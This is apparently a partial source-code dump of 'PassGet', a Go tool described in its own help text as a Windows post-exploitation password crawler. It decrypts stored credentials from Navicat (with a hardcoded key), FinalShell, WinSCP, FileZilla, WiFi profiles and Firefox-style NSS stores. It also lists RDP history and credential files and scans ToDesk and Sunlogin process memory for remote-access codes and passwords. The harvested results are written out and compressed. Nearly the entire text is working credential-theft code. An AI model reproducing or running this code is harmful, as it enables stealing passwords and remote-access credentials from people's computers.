51 | }
52 |
53 | // 解析 JSON
54 | var C = new(ClientConfig)
55 | err = json.Unmarshal(data, C)
56 | if err != nil {
57 | log.Println("parse error", err)
58 | return nil
59 | }
60 | return C
61 | }
62 | func GetConnDetails(ConnFileList []string) []ServerDetail {
63 | ServerDetails := make([]ServerDetail, 0)
64 | for _, ConnFile := range ConnFileList {
65 | if !strings.Contains(ConnFile, "_connect_config.json") {
66 | continue
67 | }
68 | data, err := os.ReadFile(ConnFile)
69 | if err != nil {
70 | fmt.Println("读取文件失败:", err)
71 | return nil
72 | }
73 | var C = ServerDetail{}
74 | err = json.Unmarshal(data, &C)
75 | if err != nil {
76 | log.Println("parse error", err)
77 | return nil
78 | }
79 | if C.AuthenticationType == PASSWORD_AUTH {
80 | C.AuthType = "PASSWORD"
81 | } else if C.AuthenticationType == PUBLIC_KEY_AUTH {
82 | C.AuthType = "PUBLIC_KEY"
83 | }
84 | if C.ConectionType == SSH_AUTH {
85 | C.ConnType = "SSH"
86 | } else if C.ConectionType == RDP_AUTH {
87 | C.ConnType = "RDP"
88 | }
89 | if C.Password != "" {
90 | C.PasswordPlainText, _ = Decrypt(C.Password)
91 | }
92 | ServerDetails = append(ServerDetails, C)
93 | }
94 | return ServerDetails
95 | }
96 |
--------------------------------------------------------------------------------
/modules/finalshell/modules.go:
--------------------------------------------------------------------------------
1 | package finalshell
2 |
3 | var (
4 | PASSWORD_AUTH = 1
5 | PUBLIC_KEY_AUTH = 2
6 | SSH_AUTH = 100
7 | RDP_AUTH = 101
8 | )
9 |
10 | type ServerDetail struct {
11 | UserName string `json:"user_name"`
12 | ConectionType int `json:"conection_type"`
13 | ConnType string
14 | AuthType string
15 | Description string `json:"description"`
16 | AuthenticationType int `json:"authentication_type"`
17 | Password string `json:"password"`
18 | Host string `json:"host"`
19 | Port int `json:"port"`
20 | Name string `json:"name"`
21 | SecretKeyId string `json:"secret_key_id"`
22 | PasswordPlainText string
23 | }
24 | type ClientConfig struct {
25 | SecretKeyList []struct {
26 | Password string `json:"password"`
27 | Name string `json:"name"`
28 | Id string `json:"id"`
29 | KeyData string `json:"key_data"`
30 | } `json:"secret_key_list"`
31 | }
32 |
--------------------------------------------------------------------------------
/modules/navicat/decrypt.go:
--------------------------------------------------------------------------------
1 | package navicat
2 |
3 | import (
4 | "crypto/sha1"
5 | "encoding/hex"
6 | "fmt"
7 | "golang.org/x/crypto/blowfish"
8 | )
9 |
10 | func xor(a, b []byte) []byte {
11 | n := len(a)
12 | if len(b) < n {
13 | n = len(b)
14 | }
15 | result := make([]byte, n)
16 | for i := 0; i < n; i++ {
17 | result[i] = a[i] ^ b[i]
18 | }
19 | return result
20 | }
21 |
22 | func decrypt(encrypted string) (string, error) {
23 | // Compute SHA1 hash of the key
24 | key := sha1.Sum([]byte("3DC5CA39"))
25 |
26 | // Initialize Blowfish cipher with the hashed key
27 | cipher, err := blowfish.NewCipher(key[:])
28 | if err != nil {
29 | return "", fmt.Errorf("failed to create Blowfish cipher: %w", err)
30 | }
31 |
32 | // Generate the IV by encrypting a block of all 0xFF bytes
33 | iv := make([]byte, blowfish.BlockSize)
34 | for i := range iv {
35 | iv[i] = 0xFF
36 | }
37 | cipher.Encrypt(iv, iv)
38 |
39 | // Decode the ciphertext from hex
40 | ciphertext, err := hex.DecodeString(encrypted)
41 | if err != nil {
42 | return "", fmt.Errorf("failed to decode hex string: %w", err)
43 | }
44 |
45 | // Decrypt the ciphertext
46 | cv := iv
47 | plaintext := []byte{}
48 | fullRounds := len(ciphertext) / blowfish.BlockSize
49 | leftLength := len(ciphertext) % blowfish.BlockSize
50 |
51 | // Process full blocks
52 | for i := 0; i < fullRounds; i++ {
53 | block := ciphertext[i*blowfish.BlockSize : (i+1)*blowfish.BlockSize]
54 | decrypted := make([]byte, blowfish.BlockSize)
55 | cipher.Decrypt(decrypted, block)
56 | decrypted = xor(decrypted, cv)
57 | plaintext = append(plaintext, decrypted...)
58 | cv = xor(cv, block)
59 | }
60 |
61 | // Process any remaining bytes
62 | if leftLength > 0 {
63 | cvEncrypted := make([]byte, blowfish.BlockSize)
64 | cipher.Encrypt(cvEncrypted, cv)
65 | plaintext = append(plaintext, xor(ciphertext[fullRounds*blowfish.BlockSize:], cvEncrypted[:leftLength])...)
66 | }
67 |
68 | // Return the plaintext as a string
69 | return string(plaintext), nil
70 | }
71 |
--------------------------------------------------------------------------------
/modules/navicat/modules.go:
--------------------------------------------------------------------------------
1 | package navicat
2 |
3 | type ServerDetail struct {
4 | Type string `json:"type"`
5 | Host string `json:"host"`
6 | Port string `json:"port"`
7 | UserName string `json:"userName"`
8 | Password string `json:"password"`
9 | PasswordPlainText string `json:"passwordPlainText"`
10 | OraServiceNameType string `json:"oraServiceNameType"`
11 | InitialDatabase string `json:"initialDatabase"`
12 | DataBaseFileName string `json:"dataBaseFileName"`
13 | AuthSource string `json:"authSource"`
14 | }
15 |
--------------------------------------------------------------------------------
/modules/navicat/navicat.go:
--------------------------------------------------------------------------------
1 | package navicat
2 |
3 | import (
4 | "PassGet/modules/utils"
5 | "fmt"
6 | "golang.org/x/sys/windows/registry"
7 | "log"
8 | "strconv"
9 | "strings"
10 | )
11 |
12 | var (
13 | base = `SOFTWARE\PremiumSoft`
14 | )
15 |
16 | func Check() (SubKeys []string, Exists bool, err error) {
17 | k, err := registry.OpenKey(registry.CURRENT_USER, base, registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE)
18 | if err != nil {
19 | return nil, false, err
20 | }
21 | defer k.Close()
22 |
23 | // 读取字符串值
24 | Keys, err := k.ReadSubKeyNames(0)
25 | if err != nil {
26 | return nil, false, err
27 | }
28 | SubKeys = GetTypeKeys(Keys)
29 | return SubKeys, true, nil
30 | }
31 | func Get() ([]ServerDetail, error) {
32 | SubKeys, exist, err := Check()
33 | if err != nil {
34 | log.Println(err)
35 | return nil, err
36 | }
37 | if !exist {
38 | log.Println("Navicat Client Not Found")
39 | return nil, nil
40 | }
41 | ServerKeys, _ := GetServerKeys(SubKeys)
42 | return GetDetails(ServerKeys)
43 | }
44 | func GetTypeKeys(Keys []string) []string {
45 | TypeKeys := make([]string, 0)
46 | for _, Key := range Keys {
47 | k, err := registry.OpenKey(registry.CURRENT_USER, base+`\`+Key, registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE)
48 | if err != nil {
49 | continue
50 | }
51 | defer k.Close()
52 | data, err := k.ReadSubKeyNames(0)
53 | if err != nil {
54 | continue
55 | }
56 | if utils.CheckIsInSlice(data, `Servers`) {
57 | TypeKeys = append(TypeKeys, fmt.Sprintf(`%s\%s`, base, Key))
58 | }
59 | }
60 | return TypeKeys
61 | }
62 | func GetServerKeys(SubKeys []string) (ServerKeys map[string][]string, err error) {
63 | ServerKeys = make(map[string][]string, 0)
64 | for _, Key := range SubKeys {
65 | k, err := registry.OpenKey(registry.CURRENT_USER, Key+`\Servers`, registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE)
66 | defer k.Close()
67 | if err != nil {
68 | continue
69 | }
70 | Type := utils.GetSliceLastOne(strings.Split(Key, `\`))
71 | Type = strings.Replace(Type, "Navicat", "", -1)
72 | if Type == "" {
73 | Type = "MYSQL"
74 | }
75 | Keys, err := k.ReadSubKeyNames(0)
76 | for _, key := range Keys {
77 | ServerKeys[Type] = append(ServerKeys[Type], fmt.Sprintf(`%s\Servers\%s`, Key, key))
78 | }
79 | }
80 | return ServerKeys, nil
81 | }
82 | func GetDetails(ServerKeys map[string][]string) (Details []ServerDetail, err error) {
83 | Details = make([]ServerDetail, 0)
84 | for Type, ServerKey := range ServerKeys {
85 | for _, Key := range ServerKey {
86 | k, err := registry.OpenKey(registry.CURRENT_USER, Key, registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE)
87 | defer k.Close()
88 | if err != nil {
89 | log.Println(err)
90 | continue
91 | }
92 | Server := ServerDetail{
93 | Type: Type,
94 | }
95 | Server.Password, _, _ = k.GetStringValue(`PWD`)
96 | if Server.Password != "" {
97 | Server.PasswordPlainText, _ = decrypt(Server.Password)
98 | }
99 | if Server.Type == "SQLITE" {
100 | Server.DataBaseFileName, _, _ = k.GetStringValue(`DatabaseFileName`)
101 | Details = append(Details, Server)
102 | continue
103 | }
104 | Server.Host, _, _ = k.GetStringValue(`Host`)
105 | Port, _, _ := k.GetIntegerValue(`Port`)
106 | Server.Port = strconv.Itoa(int(Port))
107 | Server.UserName, _, _ = k.GetStringValue(`UserName`)
108 | if Server.Type == "MYSQL" {
109 | Details = append(Details, Server)
110 | continue
111 | }
112 | if Server.Type == "PG" || Server.Type == "MSSQL" {
113 | Server.InitialDatabase, _, _ = k.GetStringValue(`InitialDatabase`)
114 | Details = append(Details, Server)
115 | continue
116 | }
117 | if Server.Type == "MONGODB" {
118 | Server.AuthSource, _, _ = k.GetStringValue(`AuthSource`)
119 | Details = append(Details, Server)
120 | continue
121 | }
122 | if Server.Type == "ORACLE" {
123 | Server.OraServiceNameType, _, _ = k.GetStringValue(`OraServiceNameType`)
124 | Server.InitialDatabase, _, _ = k.GetStringValue(`InitialDatabase`)
125 | Details = append(Details, Server)
126 | continue
127 | }
128 | }
129 | }
130 | return Details, nil
131 | }
132 |
--------------------------------------------------------------------------------
/modules/rdp/rdp.go:
--------------------------------------------------------------------------------
1 | package rdp
2 |
3 | import (
4 | "PassGet/modules/utils"
5 | "golang.org/x/sys/windows/registry"
6 | )
7 |
8 | func Get() error {
9 | Hosts, err := GetHistoryHost()
10 | if err != nil {
11 | return err
12 | }
13 | _ = Hosts
14 | CredentialFiles := GetCredentialFiles()
15 | _ = CredentialFiles
16 | return nil
17 | }
18 | func GetHistoryHost() ([]string, error) {
19 | k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers`, registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE)
20 | if err != nil {
21 | return nil, err
22 | }
23 | defer k.Close()
24 |
25 | // 读取字符串值
26 | Keys, err := k.ReadSubKeyNames(0)
27 | if err != nil {
28 | return nil, err
29 | }
30 | Hosts := make([]string, 0)
31 | for _, key := range Keys {
32 | Hosts = append(Hosts, key)
33 | }
34 | return Hosts, nil
35 | }
36 | func GetCredentialFiles() []string {
37 | files, _, err := utils.ListFilesAndDirs(utils.WindowsCredentials)
38 | if err != nil {
39 | return nil
40 | }
41 | CredentialFiles := make([]string, 0)
42 | for _, file := range files {
43 | CredentialFiles = append(CredentialFiles, file)
44 | }
45 | return CredentialFiles
46 | }
47 |
--------------------------------------------------------------------------------
/modules/run/get.go:
--------------------------------------------------------------------------------
1 | package run
2 |
3 | import (
4 | "PassGet/modules/browser"
5 | "PassGet/modules/filezilla"
6 | "PassGet/modules/finalshell"
7 | "PassGet/modules/navicat"
8 | "PassGet/modules/sunlogin"
9 | "PassGet/modules/todesk"
10 | "PassGet/modules/utils"
11 | browser2 "PassGet/modules/utils/browser"
12 | "PassGet/modules/wifi"
13 | "PassGet/modules/winscp"
14 | "fmt"
15 | "log"
16 | )
17 |
18 | func GetBrowser() error {
19 | if err := browser.Get(); err != nil {
20 | log.Printf("get browser data error %v", err)
21 | return err
22 | }
23 | return nil
24 | }
25 | func GetTodesk() {
26 | if Client := todesk.Get(); Client != nil {
27 | content := fmt.Sprintf("******************todesk******************\nCode:%s\nPass:%s\nInstallPath:%s\nProcName:%s\nProcId:%s\n************************************************************\n", Client.ID, Client.Pass, Client.InstallPath, Client.ProcName, Client.ProcId)
28 | e := utils.OutPutToFile(content, browser2.OutputDir)
29 | if e != nil {
30 | log.Printf("get todesk data error %v", e)
31 | }
32 | }
33 | }
34 | func GetSunlogin() {
35 | if Client := sunlogin.Get(); Client != nil {
36 | content := fmt.Sprintf("******************sunlogin******************\nCode:%s\nPass:%s\nInstallPath:%s\nProcName:%s\nProcId:%s\n************************************************************\n", Client.ID, Client.Pass, Client.InstallPath, Client.ProcName, Client.ProcId)
37 | e := utils.OutPutToFile(content, browser2.OutputDir)
38 | if e != nil {
39 | log.Printf("get sunlogin data error %v", e)
40 | }
41 | }
42 | }
43 | func GetFinalShell() {
44 | if _, ServerDetails := finalshell.Get(""); ServerDetails != nil {
45 | content := fmt.Sprintf("******************finalshell******************\n")
46 | for _, Server := range ServerDetails {
47 | content += fmt.Sprintf("------------------\nHost:%s\nPort:%d\nUserName:%s\nPassword:%s\nConnectionType:%s\nDiscription:%s\n------------------\n", Server.Host, Server.Port, Server.UserName, Server.PasswordPlainText, Server.ConnType, Server.Description)
48 | }
49 | content += fmt.Sprintf("************************************************************\n")
50 | e := utils.OutPutToFile(content, browser2.OutputDir)
51 | if e != nil {
52 | log.Printf("get finalshell data error %v", e)
53 | }
54 | }
55 | }
56 | func GetNaviCat() {
57 | if ServerDetails, err := navicat.Get(); err == nil {
58 | content := fmt.Sprintf("******************navicat******************\n")
59 | for _, Server := range ServerDetails {
60 | content += fmt.Sprintf("------------------\nType:%s\nHost:%s\nPort:%s\nUserName:%s\nPassword:%s\nAuthSource:%s\nInitialDatabase:%s\n", Server.Type, Server.Host, Server.Port, Server.UserName, Server.PasswordPlainText, Server.AuthSource, Server.InitialDatabase)
61 | }
62 | content += fmt.Sprintf("************************************************************\n")
63 | e := utils.OutPutToFile(content, browser2.OutputDir)
64 | if e != nil {
65 | log.Printf("get navicat data error %v", e)
66 | }
67 | }
68 | }
69 | func GetFileZilla() {
70 | if Servers := filezilla.Get(); Servers != nil {
71 | content := fmt.Sprintf("******************FileZilla******************\n")
72 | for _, Server := range Servers {
73 | content += fmt.Sprintf("------------------\nHost:%s\nPort:%s\nUserName:%s\nPassword:%s\n", Server.Host, Server.Port, Server.User, Server.Password)
74 | }
75 | content += fmt.Sprintf("************************************************************\n")
76 | e := utils.OutPutToFile(content, browser2.OutputDir)
77 | if e != nil {
78 | log.Printf("get sunlogin data error %v", e)
79 | }
80 | }
81 | }
82 | func GetWiFi() {
83 | if Wifis := wifi.Get(); Wifis != nil {
84 | content := fmt.Sprintf("******************wifi******************\n")
85 | for _, Wifi := range Wifis {
86 | content += fmt.Sprintf("------------------\nSSID:%s\nPassword:%s\n", Wifi.SSID, Wifi.Password)
87 | }
88 | content += fmt.Sprintf("************************************************************\n")
89 | e := utils.OutPutToFile(content, browser2.OutputDir)
90 | if e != nil {
91 | log.Printf("get Wifi data error %v", e)
92 | }
93 | }
94 | }
95 | func GetWinSCP() {
96 | if Servers := winscp.Get(""); Servers != nil {
97 | content := fmt.Sprintf("******************winscp******************\n")
98 | for _, Server := range Servers {
99 | content += fmt.Sprintf("------------------\nName:%s\nHost:%s\nProt:%s\nUserName:%s\nPassword:%s\n", Server.HostName, Server.PortNumber, Server.UserName, Server.PasswordPlain, Server.Name)
100 | }
101 | content += fmt.Sprintf("************************************************************\n")
102 | e := utils.OutPutToFile(content, browser2.OutputDir)
103 | if e != nil {
104 | log.Printf("get Wifi data error %v", e)
105 | }
106 | }
107 | }
108 |
--------------------------------------------------------------------------------
/modules/run/run.go:
--------------------------------------------------------------------------------
1 | package run
2 |
3 | import (
4 | browser2 "PassGet/modules/utils/browser"
5 | "PassGet/modules/utils/browser/fileutil"
6 | "fmt"
7 | "github.com/urfave/cli/v2"
8 | "log"
9 | "os"
10 | )
11 |
12 | func Run() {
13 | app := &cli.App{
14 | Name: "PassGet",
15 | Usage: "A Tool For Windows Post-exploitation Password Crawler",
16 | UsageText: "[PassGet.exe (browser/navicat/finalshell/winscp/filezilla/sunlogin/todesk/wifi...)]\nExport password data in windwos\nGithub Link: https://github.com/adeljck/PassGet",
17 | Version: "0.0.1b",
18 | HideHelpCommand: true,
19 | Action: func(c *cli.Context) error {
20 | if err := runAll(); err != nil {
21 | return err
22 | }
23 | return nil
24 | },
25 | Commands: []*cli.Command{
26 | {
27 | Name: "browser",
28 | Usage: "Get browser data",
29 | Action: func(c *cli.Context) error {
30 | err := GetBrowser()
31 | if err != nil {
32 | log.Fatalf("get browser data error %v", err)
33 | }
34 | return nil
35 | },
36 | }, {
37 | Name: "nav",
38 | Usage: "Get navicat data",
39 | Action: func(c *cli.Context) error {
40 | GetNaviCat()
41 | return nil
42 | },
43 | }, {
44 | Name: "scp",
45 | Usage: "Get winscp data",
46 | Action: func(c *cli.Context) error {
47 | GetWinSCP()
48 | return nil
49 | },
50 | }, {
51 | Name: "filez",
52 | Usage: "Get filezilla data",
53 | Action: func(c *cli.Context) error {
54 | GetFileZilla()
55 | return nil
56 | },
57 | }, {
58 | Name: "wifi",
59 | Usage: "Get wifi data",
60 | Action: func(c *cli.Context) error {
61 | GetWiFi()
62 | return nil
63 | },
64 | }, {
65 | Name: "sun",
66 | Usage: "Get sunlogin data",
67 | Action: func(c *cli.Context) error {
68 | GetSunlogin()
69 | return nil
70 | },
71 | }, {
72 | Name: "tdesk",
73 | Usage: "Get todesk data",
74 | Action: func(c *cli.Context) error {
75 | GetTodesk()
76 | return nil
77 | },
78 | }, {
79 | Name: "fshell",
80 | Usage: "Get finalshell data",
81 | Action: func(c *cli.Context) error {
82 | GetFinalShell()
83 | return nil
84 | },
85 | }, {
86 | Name: "svn",
87 | Usage: "Get TortoiseSVN data",
88 | Action: func(c *cli.Context) error {
89 | fmt.Println("Working on it")
90 | return nil
91 | },
92 | }, {
93 | Name: "xman",
94 | Usage: "Get Xmanager data",
95 | Action: func(c *cli.Context) error {
96 | fmt.Println("Working on it")
97 | return nil
98 | },
99 | }, {
100 | Name: "mxterm",
101 | Usage: "Get MobaltXterm data",
102 | Action: func(c *cli.Context) error {
103 | fmt.Println("Working on it")
104 | return nil
105 | },
106 | }, {
107 | Name: "scrt",
108 | Usage: "Get SecureCRT data",
109 | Action: func(c *cli.Context) error {
110 | fmt.Println("Working on it")
111 | return nil
112 | },
113 | },
114 | },
115 | }
116 | if err := app.Run(os.Args); err != nil {
117 | log.Fatalf("run app error %v", err)
118 | }
119 | }
120 | func runAll() error {
121 | err := GetBrowser()
122 | if err != nil {
123 | return err
124 | }
125 | GetTodesk()
126 | GetSunlogin()
127 | GetFinalShell()
128 | GetNaviCat()
129 | GetFileZilla()
130 | GetWiFi()
131 | if err := fileutil.CompressDir(browser2.OutputDir); err != nil {
132 | log.Printf("compress error %v", err)
133 | }
134 | return nil
135 | }
136 |
--------------------------------------------------------------------------------
/modules/sunlogin/sunlogin.go:
--------------------------------------------------------------------------------
1 | package sunlogin
2 |
3 | import (
4 | "PassGet/modules/utils"
5 | "PassGet/modules/utils/remote"
6 | "fmt"
7 | "golang.org/x/sys/windows"
8 | "strconv"
9 | "strings"
10 | )
11 |
12 | type Client struct {
13 | ID string
14 | Pass string
15 | InstallPath string
16 | ProcName string
17 | ProcId string
18 | procs []utils.Proc
19 | }
20 |
21 | func Get() *Client {
22 | C := new(Client)
23 | if utils.CheckIsAdmin() {
24 | C.procs = remote.GetProcessList("SunLoginClient.exe")
25 | if C.procs != nil {
26 | C.GetFromProcess()
27 | }
28 | if C.ID != "" && C.Pass != "" {
29 | return C
30 | }
31 | fmt.Println("Get From Process Failed.")
32 | }
33 | return nil
34 | }
35 | func (C *Client) GetFromProcess() {
36 | for _, proc := range C.procs {
37 | handle, err := remote.OpenProcess(proc.PID)
38 | if err != nil {
39 | continue
40 | }
41 | defer windows.CloseHandle(handle)
42 |
43 | pattern := []byte("")
44 | //pattern := []byte(`.*`)
45 | IDs, _, err := remote.SearchMemory(handle, pattern, false)
46 | if err != nil {
47 | continue
48 | }
49 | if len(IDs) >= 17 {
50 | for _, id := range IDs {
51 | data, err := remote.ReadMemory(handle, id, 900)
52 | if err != nil {
53 | continue
54 | }
55 |
56 | remoteCode := remote.ExtractBetween(string(data), ">", "")
57 | if remote.IsNumeric(strings.ReplaceAll(remoteCode, " ", "")) {
58 | C.ID = remoteCode
59 | break
60 | }
61 | }
62 | }
63 | for _, addr := range IDs {
64 | data, err := remote.ReadMemory(handle, addr, 900)
65 | if err != nil {
66 | fmt.Printf("读取内存失败: %v\n", err)
67 | continue
68 | }
69 |
70 | password := remote.ExtractBetween(string(data), ">", "")
71 | if len(password) == 6 {
72 | C.Pass = password
73 | break
74 | }
75 | }
76 | //passwordPattern := []byte("")
77 | //passwordArray, _, err := remote.SearchMemory(handle, passwordPattern, false)
78 | //if err != nil {
79 | // continue
80 | //}
81 | //if len(passwordArray) >= 9 {
82 | // for _, addr := range passwordArray {
83 | // data, err := remote.ReadMemory(handle, addr, 900)
84 | // if err != nil {
85 | // fmt.Printf("读取内存失败: %v\n", err)
86 | // continue
87 | // }
88 | //
89 | // password := remote.ExtractBetween(string(data), ">", "")
90 | // if len(password) == 6 {
91 | // C.Pass = password
92 | // break
93 | // }
94 | // }
95 | //}
96 | if C.ID != "" && C.Pass != "" {
97 | C.InstallPath = proc.Path
98 | C.ProcName = proc.Name
99 | C.ProcId = strconv.Itoa(int(proc.PID))
100 | return
101 | }
102 | }
103 | }
104 |
--------------------------------------------------------------------------------
/modules/todesk/todesk.go:
--------------------------------------------------------------------------------
1 | package todesk
2 |
3 | import (
4 | "PassGet/modules/utils"
5 | "PassGet/modules/utils/remote"
6 | "bytes"
7 | "fmt"
8 | "golang.org/x/sys/windows"
9 | "regexp"
10 | "strconv"
11 | )
12 |
13 | type Client struct {
14 | ID string
15 | Pass string
16 | InstallPath string
17 | ProcName string
18 | ProcId string
19 | procs []utils.Proc
20 | }
21 |
22 | func Get() *Client {
23 | C := new(Client)
24 | if utils.CheckIsAdmin() {
25 | C.procs = remote.GetProcessList("ToDesk.exe")
26 | if C.procs != nil {
27 | C.GetFromProcess()
28 | }
29 | if C.ID != "" && C.Pass != "" {
30 | return C
31 | }
32 | fmt.Println("Get From Process Failed.")
33 | }
34 | return nil
35 | }
36 | func (C *Client) GetFromProcess() {
37 | currentDate := utils.GetCurrentDateString("20060102")
38 | pattern := []byte(currentDate)
39 | //ipc_todesk
40 | for _, proc := range C.procs {
41 | handle, err := remote.OpenProcess(proc.PID)
42 | if err != nil {
43 | continue
44 | }
45 | defer windows.CloseHandle(handle)
46 | IDs, _, err := remote.SearchMemory(handle, pattern, false)
47 | if err != nil {
48 | continue
49 | }
50 | for _, id := range IDs {
51 | startAddress := id - 250
52 | if startAddress < 0 {
53 | startAddress = 0
54 | }
55 | data, err := remote.ReadMemory(handle, startAddress, 300)
56 | if err != nil {
57 | continue
58 | }
59 |
60 | dataStr := string(data)
61 |
62 | numberPattern := regexp.MustCompile(`\b\d{9}\b`)
63 | number := numberPattern.FindString(dataStr)
64 | if number != "" {
65 | //fmt.Printf("在地址 %x 的上下文中找到的第一个9位纯数字: %s\n", id, number)
66 | C.ID = number
67 | }
68 | }
69 | _, PassByteData, err := remote.SearchMemory(handle, pattern, true)
70 | if err != nil {
71 | continue
72 | }
73 | pblock := findPattern(PassByteData, []byte("ipc_todesk"), []byte(C.ID))
74 | passwordPattern := regexp.MustCompile(`\b[a-zA-Z0-9!@#$%^&*()]{8}\b`)
75 | //passwordPattern := regexp.MustCompile(``)
76 | p := passwordPattern.FindString(string(pblock))
77 | if p != "" {
78 | C.Pass = C.Pass + fmt.Sprintf("[%s],", p)
79 | C.InstallPath = proc.Path
80 | C.ProcName = proc.Name
81 | C.ProcId = strconv.Itoa(int(proc.PID))
82 | }
83 | windows.CloseHandle(handle)
84 | }
85 | }
86 | func findPattern(data []byte, startPattern, endPattern []byte) []byte {
87 | startIndex := bytes.Index(data, startPattern)
88 | if startIndex == -1 {
89 | return nil
90 | }
91 |
92 | endIndex := bytes.Index(data[startIndex:], endPattern)
93 | if endIndex == -1 {
94 | return nil
95 | }
96 |
97 | return data[startIndex : startIndex+endIndex+len(endPattern)]
98 | }
99 |
--------------------------------------------------------------------------------
/modules/utils/browser/browser.go:
--------------------------------------------------------------------------------
1 | package browser
2 |
3 | var (
4 | BrowserName string = "all"
5 | OutputDir string = "results"
6 | OutputFormat string = "csv"
7 | //verbose bool
8 | //compress bool = true
9 | ProfilePath string
10 | //isFullExport bool = true
11 | )
12 |
--------------------------------------------------------------------------------
/modules/utils/browser/byteutil/byteutil.go:
--------------------------------------------------------------------------------
1 | package byteutil
2 |
3 | var OnSplitUTF8Func = func(r rune) rune {
4 | if r == 0x00 || r == 0x01 {
5 | return -1
6 | }
7 | return r
8 | }
9 |
--------------------------------------------------------------------------------
/modules/utils/browser/crypto/asn1pbe.go:
--------------------------------------------------------------------------------
1 | package crypto
2 |
3 | import (
4 | "crypto/hmac"
5 | "crypto/sha1"
6 | "crypto/sha256"
7 | "encoding/asn1"
8 | "errors"
9 | )
10 |
11 | type ASN1PBE interface {
12 | Decrypt(globalSalt []byte) ([]byte, error)
13 |
14 | Encrypt(globalSalt, plaintext []byte) ([]byte, error)
15 | }
16 |
17 | func NewASN1PBE(b []byte) (pbe ASN1PBE, err error) {
18 | var (
19 | nss nssPBE
20 | meta metaPBE
21 | login loginPBE
22 | )
23 | if _, err := asn1.Unmarshal(b, &nss); err == nil {
24 | return nss, nil
25 | }
26 | if _, err := asn1.Unmarshal(b, &meta); err == nil {
27 | return meta, nil
28 | }
29 | if _, err := asn1.Unmarshal(b, &login); err == nil {
30 | return login, nil
31 | }
32 | return nil, ErrDecodeASN1Failed
33 | }
34 |
35 | var ErrDecodeASN1Failed = errors.New("decode ASN1 data failed")
36 |
37 | // nssPBE Struct
38 | //
39 | // SEQUENCE (2 elem)
40 | // OBJECT IDENTIFIER
41 | // SEQUENCE (2 elem)
42 | // OCTET STRING (20 byte)
43 | // INTEGER 1
44 | // OCTET STRING (16 byte)
45 | type nssPBE struct {
46 | AlgoAttr struct {
47 | asn1.ObjectIdentifier
48 | SaltAttr struct {
49 | EntrySalt []byte
50 | Len int
51 | }
52 | }
53 | Encrypted []byte
54 | }
55 |
56 | // Decrypt decrypts the encrypted password with the global salt.
57 | func (n nssPBE) Decrypt(globalSalt []byte) ([]byte, error) {
58 | key, iv := n.deriveKeyAndIV(globalSalt)
59 |
60 | return DES3Decrypt(key, iv, n.Encrypted)
61 | }
62 |
63 | func (n nssPBE) Encrypt(globalSalt, plaintext []byte) ([]byte, error) {
64 | key, iv := n.deriveKeyAndIV(globalSalt)
65 |
66 | return DES3Encrypt(key, iv, plaintext)
67 | }
68 |
69 | // deriveKeyAndIV derives the key and initialization vector (IV)
70 | // from the global salt and entry salt.
71 | func (n nssPBE) deriveKeyAndIV(globalSalt []byte) ([]byte, []byte) {
72 | salt := n.AlgoAttr.SaltAttr.EntrySalt
73 | hashPrefix := sha1.Sum(globalSalt)
74 | compositeHash := sha1.Sum(append(hashPrefix[:], salt...))
75 | paddedEntrySalt := paddingZero(salt, 20)
76 |
77 | hmacProcessor := hmac.New(sha1.New, compositeHash[:])
78 | hmacProcessor.Write(paddedEntrySalt)
79 |
80 | paddedEntrySalt = append(paddedEntrySalt, salt...)
81 | keyComponent1 := hmac.New(sha1.New, compositeHash[:])
82 | keyComponent1.Write(paddedEntrySalt)
83 |
84 | hmacWithSalt := append(hmacProcessor.Sum(nil), salt...)
85 | keyComponent2 := hmac.New(sha1.New, compositeHash[:])
86 | keyComponent2.Write(hmacWithSalt)
87 |
88 | key := append(keyComponent1.Sum(nil), keyComponent2.Sum(nil)...)
89 | iv := key[len(key)-8:]
90 | return key[:24], iv
91 | }
92 |
93 | // MetaPBE Struct
94 | //
95 | // SEQUENCE (2 elem)
96 | // OBJECT IDENTIFIER
97 | // SEQUENCE (2 elem)
98 | // SEQUENCE (2 elem)
99 | // OBJECT IDENTIFIER
100 | // SEQUENCE (4 elem)
101 | // OCTET STRING (32 byte)
102 | // INTEGER 1
103 | // INTEGER 32
104 | // SEQUENCE (1 elem)
105 | // OBJECT IDENTIFIER
106 | // SEQUENCE (2 elem)
107 | // OBJECT IDENTIFIER
108 | // OCTET STRING (14 byte)
109 | // OCTET STRING (16 byte)
110 | type metaPBE struct {
111 | AlgoAttr algoAttr
112 | Encrypted []byte
113 | }
114 |
115 | type algoAttr struct {
116 | asn1.ObjectIdentifier
117 | Data struct {
118 | Data struct {
119 | asn1.ObjectIdentifier
120 | SlatAttr slatAttr
121 | }
122 | IVData ivAttr
123 | }
124 | }
125 |
126 | type ivAttr struct {
127 | asn1.ObjectIdentifier
128 | IV []byte
129 | }
130 |
131 | type slatAttr struct {
132 | EntrySalt []byte
133 | IterationCount int
134 | KeySize int
135 | Algorithm struct {
136 | asn1.ObjectIdentifier
137 | }
138 | }
139 |
140 | func (m metaPBE) Decrypt(globalSalt []byte) ([]byte, error) {
141 | key, iv := m.deriveKeyAndIV(globalSalt)
142 |
143 | return AES128CBCDecrypt(key, iv, m.Encrypted)
144 | }
145 |
146 | func (m metaPBE) Encrypt(globalSalt, plaintext []byte) ([]byte, error) {
147 | key, iv := m.deriveKeyAndIV(globalSalt)
148 |
149 | return AES128CBCEncrypt(key, iv, plaintext)
150 | }
151 |
152 | func (m metaPBE) deriveKeyAndIV(globalSalt []byte) ([]byte, []byte) {
153 | password := sha1.Sum(globalSalt)
154 |
155 | salt := m.AlgoAttr.Data.Data.SlatAttr.EntrySalt
156 | iter := m.AlgoAttr.Data.Data.SlatAttr.IterationCount
157 | keyLen := m.AlgoAttr.Data.Data.SlatAttr.KeySize
158 |
159 | key := PBKDF2Key(password[:], salt, iter, keyLen, sha256.New)
160 | iv := append([]byte{4, 14}, m.AlgoAttr.Data.IVData.IV...)
161 | return key, iv
162 | }
163 |
164 | // loginPBE Struct
165 | //
166 | // OCTET STRING (16 byte)
167 | // SEQUENCE (2 elem)
168 | // OBJECT IDENTIFIER
169 | // OCTET STRING (8 byte)
170 | // OCTET STRING (16 byte)
171 | type loginPBE struct {
172 | CipherText []byte
173 | Data struct {
174 | asn1.ObjectIdentifier
175 | IV []byte
176 | }
177 | Encrypted []byte
178 | }
179 |
